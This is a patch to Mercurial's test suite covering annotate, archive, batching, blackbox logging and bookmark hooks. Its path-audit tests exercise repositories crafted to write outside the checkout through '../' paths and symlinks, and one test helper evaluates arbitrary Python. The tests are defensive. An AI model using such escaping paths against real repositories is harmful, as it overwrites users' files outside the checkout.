+            annotateline('p2', 2),
+            annotateline('p2', 3),
+        ])
+
+        # Test with multiple parents (note the difference caused by ordering)
+
+        childann = decorate(childdata, childfctx)
+        childann = _annotatepair([p1ann, p2ann], childfctx, childann, False,
+                                 diffopts)
+        self.assertEqual(childann[0], [
+            annotateline('old', 1),
+            annotateline('c', 2),
+            annotateline('p2', 2),
+            annotateline('c', 4),
+            annotateline('p2', 3),
+        ])
+
+        childann = decorate(childdata, childfctx)
+        childann = _annotatepair([p2ann, p1ann], childfctx, childann, False,
+                                 diffopts)
+        self.assertEqual(childann[0], [
+            annotateline('old', 1),
+            annotateline('c', 2),
+            annotateline('p1', 3),
+            annotateline('c', 4),
+            annotateline('p2', 3),
+        ])
+
+        # Test with skipchild (note the difference caused by ordering)
+
+        childann = decorate(childdata, childfctx)
+        childann = _annotatepair([p1ann, p2ann], childfctx, childann, True,
+                                 diffopts)
+        self.assertEqual(childann[0], [
+            annotateline('old', 1),
+            annotateline('old', 2, True),
+            # note that this line was carried over from earlier so it is *not*
+            # marked skipped
+            annotateline('p2', 2),
+            annotateline('p2', 2, True),
+            annotateline('p2', 3),
+        ])
+
+        childann = decorate(childdata, childfctx)
+        childann = _annotatepair([p2ann, p1ann], childfctx, childann, True,
+                                 diffopts)
+        self.assertEqual(childann[0], [
+            annotateline('old', 1),
+            annotateline('old', 2, True),
+            annotateline('p1', 3),
+            annotateline('p1', 3, True),
+            annotateline('p2', 3),
+        ])
+
+if __name__ == '__main__':
+    import silenttestrunner
+    silenttestrunner.main(__name__)
diff --git a/tests/test-annotate.t b/tests/test-annotate.t
--- a/tests/test-annotate.t
+++ b/tests/test-annotate.t
@@ -261,8 +261,8 @@
 
   $ hg annotate -nlf b --skip 6
   0 a:1: a
-  1 a:2: z (no-pure !)
-  0 a:1: z (pure !)
+  1 a:2* z (no-pure !)
+  0 a:1* z (pure !)
   1 a:3: a
   3 b:4: b4
   4 b:5: c
@@ -275,9 +275,9 @@
   0 a:1: a
   6 b:2: z
   1 a:3: a
-  1 a:3: b4
+  1 a:3* b4
   4 b:5: c
-  1 a:3: b5
+  1 a:3* b5
   7 b:7: d
 
   $ hg annotate -nlf b --skip 4
@@ -285,7 +285,7 @@
   6 b:2: z
   1 a:3: a
   3 b:4: b4
-  1 a:3: c
+  1 a:3* c
   3 b:5: b5
   7 b:7: d
 
@@ -293,9 +293,9 @@
   0 a:1: a
   6 b:2: z
   1 a:3: a
-  1 a:3: b4
-  1 a:3: c
-  1 a:3: b5
+  1 a:3* b4
+  1 a:3* c
+  1 a:3* b5
   7 b:7: d
 
   $ hg annotate -nlf b --skip 'merge()'
@@ -305,18 +305,18 @@
   3 b:4: b4
   4 b:5: c
   3 b:5: b5
-  3 b:5: d
+  3 b:5* d
 
 --skip everything -- use the revision the file was introduced in
 
   $ hg annotate -nlf b --skip 'all()'
   0 a:1: a
-  0 a:1: z
-  0 a:1: a
-  0 a:1: b4
-  0 a:1: c
-  0 a:1: b5
-  0 a:1: d
+  0 a:1* z
+  0 a:1* a
+  0 a:1* b4
+  0 a:1* c
+  0 a:1* b5
+  0 a:1* d
 
 Issue2807: alignment of line numbers with -l
 
@@ -400,7 +400,8 @@
 and its ancestor by overriding "repo._filecommit".
 
   $ cat > ../legacyrepo.py <<EOF
-  > from mercurial import node, error
+  > from __future__ import absolute_import
+  > from mercurial import error, node
   > def reposetup(ui, repo):
   >     class legacyrepo(repo.__class__):
   >         def _filecommit(self, fctx, manifest1, manifest2,
diff --git a/tests/test-arbitraryfilectx.t b/tests/test-arbitraryfilectx.t
new file mode 100644
--- /dev/null
+++ b/tests/test-arbitraryfilectx.t
@@ -0,0 +1,57 @@
+Setup:
+  $ cat > eval.py <<EOF
+  > from __future__ import absolute_import
+  > import filecmp
+  > from mercurial import commands, context, registrar
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command(b'eval', [], 'hg eval CMD')
+  > def eval_(ui, repo, *cmds, **opts):
+  >     cmd = " ".join(cmds)
+  >     res = str(eval(cmd, globals(), locals()))
+  >     ui.warn("%s" % res)
+  > EOF
+
+  $ echo "[extensions]" >> $HGRCPATH
+  $ echo "eval=`pwd`/eval.py" >> $HGRCPATH
+
+Arbitraryfilectx.cmp does not follow symlinks:
+  $ mkdir case1
+  $ cd case1
+  $ hg init
+  $ printf "A" > real_A
+  $ printf "foo" > A
+  $ printf "foo" > B
+  $ ln -s A sym_A
+  $ hg add .
+  adding A
+  adding B
+  adding real_A
+  adding sym_A
+  $ hg commit -m "base"
+
+These files are different and should return True (different):
+(Note that filecmp.cmp's return semantics are inverted from ours, so we invert
+for simplicity):
+  $ hg eval "context.arbitraryfilectx('A', repo).cmp(repo[None]['real_A'])"
+  True (no-eol)
+  $ hg eval "not filecmp.cmp('A', 'real_A')"
+  True (no-eol)
+
+These files are identical and should return False (same):
+  $ hg eval "context.arbitraryfilectx('A', repo).cmp(repo[None]['A'])"
+  False (no-eol)
+  $ hg eval "context.arbitraryfilectx('A', repo).cmp(repo[None]['B'])"
+  False (no-eol)
+  $ hg eval "not filecmp.cmp('A', 'B')"
+  False (no-eol)
+
+This comparison should also return False, since A and sym_A are substantially
+the same in the eyes of ``filectx.cmp``, which looks at data only.
+  $ hg eval "context.arbitraryfilectx('real_A', repo).cmp(repo[None]['sym_A'])"
+  False (no-eol)
+
+A naive use of filecmp on those two would wrongly return True, since it follows
+the symlink to "A", which has different contents.
+  $ hg eval "not filecmp.cmp('real_A', 'sym_A')"
+  True (no-eol)
diff --git a/tests/test-archive.t b/tests/test-archive.t
--- a/tests/test-archive.t
+++ b/tests/test-archive.t
@@ -18,13 +18,92 @@
   $ echo "subrepo = subrepo" > .hgsub
   $ hg add .hgsub
   $ hg ci -m "add subrepo"
+
+  $ cat >> $HGRCPATH <<EOF
+  > [extensions]
+  > share =
+  > EOF
+
+hg subrepos are shared when the parent repo is shared
+
+  $ cd ..
+  $ hg share test shared1
+  updating working directory
+  sharing subrepo subrepo from $TESTTMP/test/subrepo
+  5 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ cat shared1/subrepo/.hg/sharedpath
+  $TESTTMP/test/subrepo/.hg (no-eol) (glob)
+
+hg subrepos are shared into existence on demand if the parent was shared
+
+  $ hg clone -qr 1 test clone1
+  $ hg share clone1 share2
+  updating working directory
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg -R clone1 -q pull
+  $ hg -R share2 update tip
+  sharing subrepo subrepo from $TESTTMP/test/subrepo
+  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ cat share2/subrepo/.hg/sharedpath
+  $TESTTMP/test/subrepo/.hg (no-eol) (glob)
+  $ echo 'mod' > share2/subrepo/sub
+  $ hg -R share2 ci -Sqm 'subrepo mod'
+  $ hg -R clone1 update -C tip
+  cloning subrepo subrepo from $TESTTMP/test/subrepo
+  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ find share2 | egrep 'sharedpath|00.+\.i' | sort
+  share2/.hg/sharedpath
+  share2/subrepo/.hg/sharedpath
+  $ hg -R share2 unshare
+  unsharing subrepo 'subrepo'
+  $ find share2 | egrep 'sharedpath|00.+\.i' | sort
+  share2/.hg/00changelog.i
+  share2/.hg/sharedpath.old
+  share2/.hg/store/00changelog.i
+  share2/.hg/store/00manifest.i
+  share2/subrepo/.hg/00changelog.i
+  share2/subrepo/.hg/sharedpath.old
+  share2/subrepo/.hg/store/00changelog.i
+  share2/subrepo/.hg/store/00manifest.i
+  $ hg -R share2/subrepo log -r tip -T compact
+  1[tip]   559dcc9bfa65   1970-01-01 00:00 +0000   test
+    subrepo mod
+  
+  $ rm -rf clone1
+
+  $ hg clone -qr 1 test clone1
+  $ hg share clone1 shared3
+  updating working directory
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg -R clone1 -q pull
+  $ hg -R shared3 archive --config ui.archivemeta=False -r tip -S archive
+  sharing subrepo subrepo from $TESTTMP/test/subrepo
+  $ cat shared3/subrepo/.hg/sharedpath
+  $TESTTMP/test/subrepo/.hg (no-eol) (glob)
+  $ diff -r archive test
+  Only in test: .hg
+  Common subdirectories: archive/baz and test/baz (?)
+  Common subdirectories: archive/subrepo and test/subrepo (?)
+  Only in test/subrepo: .hg
+  [1]
+  $ rm -rf archive
+
+  $ cd test
   $ echo "[web]" >> .hg/hgrc
   $ echo "name = test-archive" >> .hg/hgrc
   $ echo "archivesubrepos = True" >> .hg/hgrc
   $ cp .hg/hgrc .hg/hgrc-base
   > test_archtype() {
   >     echo "allow_archive = $1" >> .hg/hgrc
-  >     hg serve -p $HGPORT -d --pid-file=hg.pid -E errors.log
+  >     test_archtype_run "$@"
+  > }
+  > test_archtype_deprecated() {
+  >     echo "allow$1 = True" >> .hg/hgrc
+  >     test_archtype_run "$@"
+  > }
+  > test_archtype_run() {
+  >     hg serve -p $HGPORT -d --pid-file=hg.pid -E errors.log \
+  >         --config extensions.blackbox= --config blackbox.track=develwarn
   >     cat hg.pid >> $DAEMON_PIDS
   >     echo % $1 allowed should give 200
   >     get-with-headers.py localhost:$HGPORT "archive/tip.$2" | head -n 1
@@ -33,6 +112,7 @@
   >     get-with-headers.py localhost:$HGPORT "archive/tip.$4" | head -n 1
   >     killdaemons.py
   >     cat errors.log
+  >     hg blackbox --config extensions.blackbox= --config blackbox.track=
   >     cp .hg/hgrc-base .hg/hgrc
   > }
 
@@ -57,6 +137,27 @@
   403 Archive type not allowed: gz
   403 Archive type not allowed: bz2
 
+check http return codes (with deprecated option)
+
+  $ test_archtype_deprecated gz tar.gz tar.bz2 zip
+  % gz allowed should give 200
+  200 Script output follows
+  % tar.bz2 and zip disallowed should both give 403
+  403 Archive type not allowed: bz2
+  403 Archive type not allowed: zip
+  $ test_archtype_deprecated bz2 tar.bz2 zip tar.gz
+  % bz2 allowed should give 200
+  200 Script output follows
+  % zip and tar.gz disallowed should both give 403
+  403 Archive type not allowed: zip
+  403 Archive type not allowed: gz
+  $ test_archtype_deprecated zip zip tar.gz tar.bz2
+  % zip allowed should give 200
+  200 Script output follows
+  % tar.gz and tar.bz2 disallowed should both give 403
+  403 Archive type not allowed: gz
+  403 Archive type not allowed: bz2
+
   $ echo "allow_archive = gz bz2 zip" >> .hg/hgrc
   $ hg serve -p $HGPORT -d --pid-file=hg.pid -E errors.log
   $ cat hg.pid >> $DAEMON_PIDS
@@ -211,15 +312,12 @@
   > done
 
   $ cat > md5comp.py <<EOF
-  > from __future__ import print_function
-  > try:
-  >     from hashlib import md5
-  > except ImportError:
-  >     from md5 import md5
+  > from __future__ import absolute_import, print_function
+  > import hashlib
   > import sys
   > f1, f2 = sys.argv[1:3]
-  > h1 = md5(open(f1, 'rb').read()).hexdigest()
-  > h2 = md5(open(f2, 'rb').read()).hexdigest()
+  > h1 = hashlib.md5(open(f1, 'rb').read()).hexdigest()
+  > h2 = hashlib.md5(open(f2, 'rb').read()).hexdigest()
   > print(h1 == h2 or "md5 differ: " + repr((h1, h2)))
   > EOF
 
@@ -357,8 +455,9 @@
   $ hg -R repo add repo/a
   $ hg -R repo commit -m '#0' -d '456789012 21600'
   $ cat > show_mtime.py <<EOF
-  > from __future__ import print_function
-  > import sys, os
+  > from __future__ import absolute_import, print_function
+  > import os
+  > import sys
   > print(int(os.stat(sys.argv[1]).st_mtime))
   > EOF
 
diff --git a/tests/test-audit-path.t b/tests/test-audit-path.t
--- a/tests/test-audit-path.t
+++ b/tests/test-audit-path.t
@@ -78,6 +78,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 6 changes to 6 files (+4 heads)
+  new changesets b7da9bf6b037:fc1393d727bc
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 attack .hg/test
@@ -103,11 +104,13 @@
   back/test
 #if symlink
   $ hg update -Cr2
-  abort: path 'back/test' traverses symbolic link 'back'
+  back: is both a file and a directory
+  abort: destination manifest contains path conflicts
   [255]
 #else
 ('back' will be a file and cause some other system specific error)
   $ hg update -Cr2
+  back: is both a file and a directory
   abort: * (glob)
   [255]
 #endif
@@ -116,9 +119,13 @@
 
   $ hg manifest -r3
   ../test
+  $ mkdir ../test
+  $ echo data > ../test/file
   $ hg update -Cr3
   abort: path contains illegal component: ../test (glob)
   [255]
+  $ cat ../test/file
+  data
 
 attack /tmp/test
 
@@ -160,8 +167,12 @@
 
   $ hg up -qC 1
   $ hg merge 2
-  abort: path 'a/poisoned' traverses symbolic link 'a'
-  [255]
+  a: path conflict - a file or link has the same name as a directory
+  the local file has been renamed to a~aa04623eb0c3
+  resolve manually then use 'hg resolve --mark a'
+  1 files updated, 0 files merged, 0 files removed, 1 files unresolved
+  use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
+  [1]
 
 try rebase onto other revision: cache of audited paths should be discarded,
 and the rebase should fail (issue5628)
@@ -169,8 +180,11 @@
   $ hg up -qC 2
   $ hg rebase -s 2 -d 1 --config extensions.rebase=
   rebasing 2:e73c21d6b244 "file a/poisoned" (tip)
-  abort: path 'a/poisoned' traverses symbolic link 'a'
-  [255]
+  a: path conflict - a file or link has the same name as a directory
+  the local file has been renamed to a~aa04623eb0c3
+  resolve manually then use 'hg resolve --mark a'
+  unresolved conflicts (see hg resolve, then hg rebase --continue)
+  [1]
   $ ls ../merge-symlink-out
 
   $ cd ..
@@ -202,7 +216,8 @@
 
   $ hg up -qC 0
   $ hg up 1
-  abort: path 'a/b' traverses symbolic link 'a'
+  a: is both a file and a directory
+  abort: destination manifest contains path conflicts
   [255]
 
 try linear update including symlinked directory and its content: paths are
@@ -211,7 +226,8 @@
 
   $ hg up -qC null
   $ hg up 1
-  abort: path 'a/b' traverses symbolic link 'a'
+  a: is both a file and a directory
+  abort: destination manifest contains path conflicts
   [255]
   $ ls ../update-symlink-out
 
@@ -222,7 +238,8 @@
   $ rm -f a
   $ hg up -qC 2
   $ hg up 1
-  abort: path 'a/b' traverses symbolic link 'a'
+  a: is both a file and a directory
+  abort: destination manifest contains path conflicts
   [255]
   $ ls ../update-symlink-out
 
diff --git a/tests/test-basic.t b/tests/test-basic.t
--- a/tests/test-basic.t
+++ b/tests/test-basic.t
@@ -31,7 +31,9 @@
   $ hg status >/dev/full
   abort: No space left on device
   [255]
+#endif
 
+#if devfull no-chg
   $ hg status >/dev/full 2>&1
   [1]
 
@@ -39,6 +41,14 @@
   [1]
 #endif
 
+#if devfull chg
+  $ hg status >/dev/full 2>&1
+  [255]
+
+  $ hg status ENOENT 2>/dev/full
+  [255]
+#endif
+
   $ hg commit -m test
 
 This command is ancient:
diff --git a/tests/test-batching.py b/tests/test-batching.py
--- a/tests/test-batching.py
+++ b/tests/test-batching.py
@@ -8,7 +8,9 @@
 from __future__ import absolute_import, print_function
 
 from mercurial import (
+    error,
     peer,
+    util,
     wireproto,
 )
 
@@ -27,9 +29,9 @@
         return "%s und %s" % (b, a,)
     def greet(self, name=None):
         return "Hello, %s" % name
-    def batch(self):
+    def batchiter(self):
         '''Support for local batching.'''
-        return peer.localbatch(self)
+        return peer.localiterbatcher(self)
 
 # usage of "thing" interface
 def use(it):
@@ -41,29 +43,54 @@
     print(it.foo("Un", two="Deux"))
     print(it.bar("Eins", "Zwei"))
 
-    # Batched call to a couple of (possibly proxied) methods.
-    batch = it.batch()
+    # Batched call to a couple of proxied methods.
+    batch = it.batchiter()
     # The calls return futures to eventually hold results.
     foo = batch.foo(one="One", two="Two")
-    foo2 = batch.foo(None)
     bar = batch.bar("Eins", "Zwei")
-    # We can call non-batchable proxy methods, but the break the current batch
-    # request and cause additional roundtrips.
-    greet = batch.greet(name="John Smith")
-    # We can also add local methods into the mix, but they break the batch too.
-    hello = batch.hello()
     bar2 = batch.bar(b="Uno", a="Due")
-    # Only now are all the calls executed in sequence, with as few roundtrips
-    # as possible.
+
+    # Future shouldn't be set until we submit().
+    assert isinstance(foo, peer.future)
+    assert not util.safehasattr(foo, 'value')
+    assert not util.safehasattr(bar, 'value')
     batch.submit()
-    # After the call to submit, the futures actually contain values.
+    # Call results() to obtain results as a generator.
+    results = batch.results()
+
+    # Future results shouldn't be set until we consume a value.
+    assert not util.safehasattr(foo, 'value')
+    foovalue = next(results)
+    assert util.safehasattr(foo, 'value')
+    assert foovalue == foo.value
     print(foo.value)
-    print(foo2.value)
+    next(results)
     print(bar.value)
-    print(greet.value)
-    print(hello.value)
+    next(results)
     print(bar2.value)
 
+    # We should be at the end of the results generator.
+    try:
+        next(results)
+    except StopIteration:
+        print('proper end of results generator')
+    else:
+        print('extra emitted element!')
+
+    # Attempting to call a non-batchable method inside a batch fails.
+    batch = it.batchiter()
+    try:
+        batch.greet(name='John Smith')
+    except error.ProgrammingError as e:
+        print(e)
+
+    # Attempting to call a local method inside a batch fails.
+    batch = it.batchiter()
+    try:
+        batch.hello()
+    except error.ProgrammingError as e:
+        print(e)
+
 # local usage
 mylocal = localthing()
 print()
@@ -146,15 +173,14 @@
             req.append(name + ':' + args)
         req = ';'.join(req)
         res = self._submitone('batch', [('cmds', req,)])
-        return res.split(';')
+        for r in res.split(';'):
+            yield r
 
-    def batch(self):
-        return wireproto.remotebatch(self)
+    def batchiter(self):
+        return wireproto.remoteiterbatcher(self)
 
     @peer.batchable
     def foo(self, one, two=None):
-        if not one:
-            yield "Nope", None
         encargs = [('one', mangle(one),), ('two', mangle(two),)]
         encresref = peer.future()
         yield encargs, encresref
diff --git a/tests/test-batching.py.out b/tests/test-batching.py.out
--- a/tests/test-batching.py.out
+++ b/tests/test-batching.py.out
@@ -4,11 +4,9 @@
 Un and Deux
 Eins und Zwei
 One and Two
-Nope
 Eins und Zwei
-Hello, John Smith
-Ready.
 Uno und Due
+proper end of results generator
 
 == Remote
 Ready.
@@ -18,15 +16,11 @@
 REQ: bar?b=Fjot&a=[xfj
   -> Fjot!voe![xfj
 Eins und Zwei
-REQ: batch?cmds=foo:one=Pof,two=Uxp;bar:b=Fjot,a=[xfj
-  -> Pof!boe!Uxp;Fjot!voe![xfj
-REQ: greet?name=Kpio!Tnjui
-  -> Ifmmp-!Kpio!Tnjui
-REQ: batch?cmds=bar:b=Vop,a=Evf
-  -> Vop!voe!Evf
+REQ: batch?cmds=foo:one=Pof,two=Uxp;bar:b=Fjot,a=[xfj;bar:b=Vop,a=Evf
+  -> Pof!boe!Uxp;Fjot!voe![xfj;Vop!voe!Evf
 One and Two
-Nope
 Eins und Zwei
-Hello, John Smith
-Ready.
 Uno und Due
+proper end of results generator
+Attempted to batch a non-batchable call to 'greet'
+Attempted to batch a non-batchable call to 'hello'
diff --git a/tests/test-bisect.t b/tests/test-bisect.t
--- a/tests/test-bisect.t
+++ b/tests/test-bisect.t
@@ -184,6 +184,14 @@
 
   $ hg bisect -r
   $ hg bisect -b
+  $ hg status -v
+  # The repository is in an unfinished *bisect* state.
+  
+  # To mark the changeset good:    hg bisect --good
+  # To mark the changeset bad:     hg bisect --bad
+  # To abort:                      hg bisect --reset
+  
+  $ hg status -v --config commands.status.skipstates=bisect
   $ hg summary
   parent: 31:58c80a7c8a40 tip
    msg 31
@@ -454,9 +462,10 @@
 
   $ cat > script.py <<EOF
   > #!$PYTHON
+  > from __future__ import absolute_import
   > import sys
-  > from mercurial import ui, hg
-  > repo = hg.repository(ui.ui.load(), '.')
+  > from mercurial import hg, ui as uimod
+  > repo = hg.repository(uimod.ui.load(), '.')
   > if repo['.'].rev() < 6:
   >     sys.exit(1)
   > EOF
@@ -565,7 +574,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers
+  > evolution.createmarkers=True
   > EOF
 
 tip is obsolete
diff --git a/tests/test-blackbox.t b/tests/test-blackbox.t
--- a/tests/test-blackbox.t
+++ b/tests/test-blackbox.t
@@ -6,6 +6,7 @@
   > mq=
   > [alias]
   > confuse = log --limit 3
+  > so-confusing = confuse --style compact
   > EOF
   $ hg init blackboxtest
   $ cd blackboxtest
@@ -15,22 +16,30 @@
   $ echo a > a
   $ hg add a
   $ hg blackbox --config blackbox.dirty=True
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> init blackboxtest exited 0 after * seconds (glob)
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> add a
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> add a exited 0 after * seconds (glob)
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000+ (5000)> blackbox
 
 alias expansion is logged
+  $ rm ./.hg/blackbox.log
   $ hg confuse
   $ hg blackbox
-  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> add a
-  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> add a exited 0 after * seconds (glob)
-  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000+ (5000)> blackbox
-  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000+ (5000)> blackbox --config *blackbox.dirty=True* exited 0 after * seconds (glob)
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> confuse
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> alias 'confuse' expands to 'log --limit 3'
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> confuse exited 0 after * seconds (glob)
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> blackbox
 
+recursive aliases work correctly
+  $ rm ./.hg/blackbox.log
+  $ hg so-confusing
+  $ hg blackbox
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> so-confusing
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> alias 'so-confusing' expands to 'confuse --style compact'
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> alias 'confuse' expands to 'log --limit 3'
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> so-confusing exited 0 after * seconds (glob)
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> blackbox
+
 incoming change tracking
 
 create two heads to verify that we only see one change in the log later
@@ -57,6 +66,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d02f48003e62
   (run 'hg update' to get a working copy)
   $ hg blackbox -l 6
   1970/01/01 00:00:00 bob @6563da9dcf87b1949716e38ff3e3dfaa3198eb06 (5000)> pull
@@ -100,6 +110,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d02f48003e62
   (run 'hg update' to get a working copy)
 
 a failure reading from the log is fatal
@@ -147,11 +158,12 @@
   > eol=!
   > EOF
   $ hg blackbox -l 6
-  1970/01/01 00:00:00 bob @6563da9dcf87b1949716e38ff3e3dfaa3198eb06 (5000)> update
+  1970/01/01 00:00:00 bob @6563da9dcf87b1949716e38ff3e3dfaa3198eb06 (5000)> update (no-chg !)
   1970/01/01 00:00:00 bob @6563da9dcf87b1949716e38ff3e3dfaa3198eb06 (5000)> writing .hg/cache/tags2-visible with 0 tags
   1970/01/01 00:00:00 bob @6563da9dcf87b1949716e38ff3e3dfaa3198eb06 (5000)> pythonhook-preupdate: hgext.eol.preupdate finished in * seconds (glob)
   1970/01/01 00:00:00 bob @d02f48003e62c24e2659d97d30f2a83abe5d5d51 (5000)> exthook-update: echo hooked finished in * seconds (glob)
   1970/01/01 00:00:00 bob @d02f48003e62c24e2659d97d30f2a83abe5d5d51 (5000)> update exited 0 after * seconds (glob)
+  1970/01/01 00:00:00 bob @d02f48003e62c24e2659d97d30f2a83abe5d5d51 (5000)> serve --cmdserver chgunix --address $TESTTMP.chgsock/server.* --daemon-postexec 'chdir:/' (glob) (chg !)
   1970/01/01 00:00:00 bob @d02f48003e62c24e2659d97d30f2a83abe5d5d51 (5000)> blackbox -l 6
 
 log rotation
@@ -173,6 +185,7 @@
   $ hg init blackboxtest3
   $ cd blackboxtest3
   $ hg blackbox
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> init blackboxtest3 exited 0 after * seconds (glob)
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> blackbox
   $ mv .hg/blackbox.log .hg/blackbox.log-
   $ mkdir .hg/blackbox.log
@@ -229,3 +242,102 @@
 
 cleanup
   $ cd ..
+
+#if chg
+
+when using chg, blackbox.log should get rotated correctly
+
+  $ cat > $TESTTMP/noop.py << EOF
+  > from __future__ import absolute_import
+  > import time
+  > from mercurial import registrar, scmutil
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command('noop')
+  > def noop(ui, repo):
+  >     pass
+  > EOF
+
+  $ hg init blackbox-chg
+  $ cd blackbox-chg
+
+  $ cat > .hg/hgrc << EOF
+  > [blackbox]
+  > maxsize = 500B
+  > [extensions]
+  > # extension change forces chg to restart
+  > noop=$TESTTMP/noop.py
+  > EOF
+
+  $ $PYTHON -c 'print("a" * 400)' > .hg/blackbox.log
+  $ chg noop
+  $ chg noop
+  $ chg noop
+  $ chg noop
+  $ chg noop
+
+  $ cat > showsize.py << 'EOF'
+  > import os, sys
+  > limit = 500
+  > for p in sys.argv[1:]:
+  >     size = os.stat(p).st_size
+  >     if size >= limit:
+  >         desc = '>='
+  >     else:
+  >         desc = '<'
+  >     print('%s: %s %d' % (p, desc, limit))
+  > EOF
+
+  $ $PYTHON showsize.py .hg/blackbox*
+  .hg/blackbox.log: < 500
+  .hg/blackbox.log.1: >= 500
+  .hg/blackbox.log.2: >= 500
+
+  $ cd ..
+
+With chg, blackbox should not create the log file if the repo is gone
+
+  $ hg init repo1
+  $ hg --config extensions.a=! -R repo1 log
+  $ rm -rf $TESTTMP/repo1
+  $ hg --config extensions.a=! init repo1
+
+#endif
+
+blackbox should work if repo.ui.log is not called (issue5518)
+
+  $ cat > $TESTTMP/raise.py << EOF
+  > from __future__ import absolute_import
+  > from mercurial import registrar, scmutil
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command('raise')
+  > def raisecmd(*args):
+  >     raise RuntimeError('raise')
+  > EOF
+
+  $ cat >> $HGRCPATH << EOF
+  > [blackbox]
+  > track = commandexception
+  > [extensions]
+  > raise=$TESTTMP/raise.py
+  > EOF
+
+  $ hg init $TESTTMP/blackbox-exception-only
+  $ cd $TESTTMP/blackbox-exception-only
+
+#if chg
+ (chg exits 255 because it fails to receive an exit code)
+  $ hg raise 2>/dev/null
+  [255]
+#else
+ (hg exits 1 because Python default exit code for uncaught exception is 1)
+  $ hg raise 2>/dev/null
+  [1]
+#endif
+
+  $ head -1 .hg/blackbox.log
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> ** Unknown exception encountered with possibly-broken third-party extension mock
+  $ tail -2 .hg/blackbox.log
+  RuntimeError: raise
+  
diff --git a/tests/test-bookmarks-pushpull.t b/tests/test-bookmarks-pushpull.t
--- a/tests/test-bookmarks-pushpull.t
+++ b/tests/test-bookmarks-pushpull.t
@@ -6,9 +6,12 @@
   > [phases]
   > publish=False
   > [experimental]
-  > evolution=createmarkers,exchange
+  > evolution.createmarkers=True
+  > evolution.exchange=True
   > EOF
 
+  $ TESTHOOK='hooks.txnclose-bookmark.test=echo "test-hook-bookmark: $HG_BOOKMARK:  $HG_OLDNODE -> $HG_NODE"'
+
 initialize
 
   $ hg init a
@@ -30,7 +33,7 @@
   $ hg book Y
   $ hg book
    * Y                         -1:000000000000
-  $ hg pull ../a
+  $ hg pull ../a --config "$TESTHOOK"
   pulling from ../a
   requesting all changes
   adding changesets
@@ -40,6 +43,10 @@
   adding remote bookmark X
   updating bookmark Y
   adding remote bookmark Z
+  new changesets 4e3505fd9583
+  test-hook-bookmark: X:   -> 4e3505fd95835d721066b76e75dbb8cc554d7f77
+  test-hook-bookmark: Y:  0000000000000000000000000000000000000000 -> 4e3505fd95835d721066b76e75dbb8cc554d7f77
+  test-hook-bookmark: Z:   -> 4e3505fd95835d721066b76e75dbb8cc554d7f77
   (run 'hg update' to get a working copy)
   $ hg bookmarks
      X                         0:4e3505fd9583
@@ -93,10 +100,11 @@
 delete a remote bookmark
 
   $ hg book -d W
-  $ hg push -B W ../a
+  $ hg push -B W ../a --config "$TESTHOOK"
   pushing to ../a
   searching for changes
   no changes found
+  test-hook-bookmark: W:  0000000000000000000000000000000000000000 -> 
   deleting remote bookmark W
   [1]
 
@@ -164,7 +172,7 @@
      Z                         1:0d2164f0ce0d
 
   $ cd ../b
-  $ hg up
+  $ hg up --config
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   updating bookmark foobar
   $ echo c2 > f2
@@ -180,7 +188,7 @@
      foo                       -1:000000000000
    * foobar                    1:9b140be10808
 
-  $ hg pull --config paths.foo=../a foo
+  $ hg pull --config paths.foo=../a foo --config "$TESTHOOK"
   pulling from $TESTTMP/a (glob)
   searching for changes
   adding changesets
@@ -190,6 +198,10 @@
   divergent bookmark @ stored as @foo
   divergent bookmark X stored as X@foo
   updating bookmark Z
+  new changesets 0d2164f0ce0d
+  test-hook-bookmark: @foo:   -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
+  test-hook-bookmark: X@foo:   -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
+  test-hook-bookmark: Z:  4e3505fd95835d721066b76e75dbb8cc554d7f77 -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg book
      @                         1:9b140be10808
@@ -252,11 +264,13 @@
   $ hg update -r X
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark X)
-  $ hg pull --config paths.foo=../a foo -B .
+  $ hg pull --config paths.foo=../a foo -B . --config "$TESTHOOK"
   pulling from $TESTTMP/a (glob)
   no changes found
   divergent bookmark @ stored as @foo
   importing bookmark X
